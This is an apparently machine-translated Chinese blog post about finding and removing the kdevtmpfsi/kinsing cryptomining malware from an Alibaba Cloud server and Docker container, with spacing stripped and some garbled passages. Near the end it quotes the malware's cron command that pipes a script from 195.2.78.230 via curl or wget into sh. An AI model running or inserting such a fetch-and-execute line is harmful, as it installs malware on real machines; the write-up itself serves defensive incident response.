启动【阿里云】尊敬的吴彦祖:检测到您的阿里云服务(ECS实例)存在挖矿活动。请您根据相关法规政策及监管部门要求,于2022年8月15日0时前完成挖矿问题整改,否则您的服务将被关闭。详情请查看阿里云邮箱或消息通知。如果还有其他问题,可以登录阿里云官网,在线咨询一条短信,故事从kdevtmpfsi开始。第一次登录服务器,top-c查看进程信息:PIDUSERPRNIVIRTRESSHRS%CPU%MEMTIME+COMMAND3195280root2007141162677562708S99.714.419:05.65/tmp/kdevtmpfsifound/tmp/kdevtmpfsi占用了99.7%的CPU资源。毫无疑问,这家伙应该是挖矿病毒。百度了一波,确实是,而且还有一个daemon进程叫kinsing,ps-ef|grepkinsing:root31950513142956022:13pts/000:00:00/etc/kinsingkill-931950513195280杀死一波进程。top-c再次查看进程,挖矿没了,CPU恢复正常。正当我准备收兵时,发现阿里云控制台ECS实例的CPU曲线竟然又拉高了。事情并不简单。看来不是杀进程那么简单。问了阿里云客服,对方扔过来一份挖矿程序最佳实践。简单总结就是:删除执行文件=>kill进程=>检查并清除异常端口=>检查并清除异常定时任务试一下。1.删??除执行文件ps-ef|grepkdevtmpfsi查看新启动进程的PID:root319755831429569523:10?00:40:19/tmp/kdevtmpfsi显示病毒的执行文件为/tmp/kdevtmpfsi。head/tmp/kdevtmpfsi大体看后提示:head:Unabletoopen'/tmp/kdevtmpfsi'Readdata:Nosuchfileordirectorydoesnothavethisfile?病毒在容器里吗?dockerstats查看容器状态:CONTAINERIDNAMECPU%MEMUSAGE/LIMITMEM%NETI/OBLOCKI/OPIDS68825e3ec789gateway-service100.55%810.7MiB/1.776GiB44.58%0B/0B293MB/52.2MB10721tow07%12.2MiB/1.776GiB0.67%8.03MB/1.82MB30MB/0B82a5700773074nginx0.00%7.227MiB/1.776GiB0.40%172GB/172GB33.8MB/0B容器中确实有3个!dockerexec-it68825e3ec789/bin/bash进入容器看看。top-c查看容器的进程:PIDUSERPRNIVIRTRESSHRS%CPU%MEMTIME+COMMAND13786root2007141162680842708S99.714.467:42.02/tmp/kdevtmpfsi就是他。head/tmp/kdevtmpfsi大致看下病毒的执行文件:ELF>U@@p?8@8@@@?8?88??t????@?@DD8??(?Q?tdR?td8???W?WGNUGNU9Xj)3???/dev/null2>&1百度看一下这个IP:91.241.19.134来自俄罗斯莫斯科crontab-r删掉。这样设置后,进程终止,定时任务也被删除。虽然病毒文件没有被删除,但是考虑到定时任务已经被删除,应该没有问题。气氛开始紧张了,但是:大约20分钟后,kdevtmpfsi进程又启动了,随着新的病毒进程,容器里多了一个新的定时任务。这不对啊,定时任务里怎么会有复活甲???定时任务后面有定时任务吗?在$(cut-f1-d:/etc/passwd)中为用户执行;执行crontab-u$user-l;分别在主机和容器中完成。检查所有用户下的计划任务。不幸的是,没有出现。这是地狱!感觉不好。大招和DF都放了,但是对面多了一个无限复活甲。转机来临时,我一筹莫展,北京的一个大佬在上面贴的问题里回复我说我会尝试重启。试过了,进程没有了。老板真棒。总结(请跳过,文末更新了解决步骤)如果你的Linux服务器中招了kdevtmpfsi挖矿病毒,并且病毒进程存在于docker中,那么你可以尝试以下步骤解决:1.查询主机病毒文件并删除find/-name"*kdevtmpfsi*"query病毒文件。(我这里没找到)find/-name"*kinsing*"查询守护进程文件。(找到两条记录,删除一条,删除一条)2、查询宿主机中的定时任务crontab-l查询当前账号下的定时任务。对于$(cut-f1-d:/etc/passwd)中的用户;执行crontab-u$user-l;done查询所有账号下的计划任务。如果有异常定时任务(我这边没有),执行crontab-r删除。3.查询病毒所在容器,进入dockerstats查询异常容器的CONTAINERID。dockerexec-it/bin/bash进入病毒所在容器。4.查询容器内异常定时任务并清除crontab-l查询定时任务crontab-r删除定时任务5.查询病毒PID及其文件路径ps-ef|grepkdevtmpfsi查询病毒的PID及其文件位置;ps-ef|grepkinsing查询守护进程的PID及其文件位置。六、删除病毒文件rm-f/etc/kinsing删除守护进程文件。rm-f/tmp/kdevtmpfsi删除病毒文件。如果我在这里删除它,我会报错。不过问题不大。如果你也报错,可以直接忽略这一步,不影响最终清除这个病毒。7.终止病毒进程kill-98.退出容器重启control+P+Q退出容器dockerrestart重启容器已经很久了,和自动没有新的病毒进程。这次病毒已经解决了。虽然下次还会再来,但至少我已经掌握了解决一次的方法。虽然病毒文件和daemon文件还在,但应该没什么影响。如果强迫症觉得这个文件不能删除,可以在dG中输入vi,将以下内容全部删除:wq。这样一来,就跟删除up没什么区别了。2022-08-12更新不出意外,阿里云半夜又发短信通知:【阿里云】尊敬的吴彦祖:云盾云安全中心检测到您的服务器:发生紧急安全事件:恶意脚本代码执行,建议您立即登录云安全中心控制台-安全报警处理进行处理。重复【总结】中的步骤杀毒,十分钟后病毒又会复活。有点烦人,不过病毒还是要杀的。梳理一下思路:当病毒文件和定时任务都清理干净后,它还能up,也就是说病毒不再来自容器或宿主机,而是来自宿主机内部。公网下载到容器中,然后执行。按照这个思路重新执行【总结】中的步骤,然后进入容器,top-c每个进程,找到如下两个进程:curl-s195.2.78.230/scg.sh/bin/sh-c(curl-s195.2.78.230/scg.sh||wget-q-O-195.2.78.230/scg.sh)|sh猜想证实了,首先想到的是阻止这些脚本的周期性执行,但是我好像做不到对此做任何事情,因为如果是这样,那就改变主意。它不能阻止你执行它,但它可以阻止你下载病毒文件到我的服务器。如何实现它并配置防火墙。执行iptables-IINPUT-s195.2.78.230-jDROP丢弃195.2.78.230的所有文件。kill进程,清除文件,重启,监控容器进程。虽然上面两个脚本还是会执行,但是病毒文件已经进不了服务器了,病毒进程自然不会重启。解决。最后更新完整步骤:CleanupStep1.查询病毒所在容器,进入dockerstats查询病毒所在容器的CONTAINERID。dockerexec-it终止病毒进程vi/tmp/kdevtmpfsi编辑病毒文件dG清除病毒文件后:wqsave退出ps-ef|grepkinsing查询守护进程的PID及其文件路径kill-9终止守护进程vi/etc/kinsing编辑守护进程文件dG清除守护进程文件后:wqsaveandexit3.查询时机taskandclearcrontab-lquery(记得在task里记录IP)crontab-rclear4.禁止病毒下载的IPiptables-IINPUT-s-jDROPdiscardallipsfromvirusdownloadDataiptables-IINPUT-s<计划任务中的IP>-jDROP丢弃计划任务中IP的所有数据c蹲实时过程(上面写的)。5.重启容器重启容器。本文完整记录病毒处理过程。如果您不幸感染挖矿,希望对您有所帮助。如果你们有其他解决方案,请告诉我。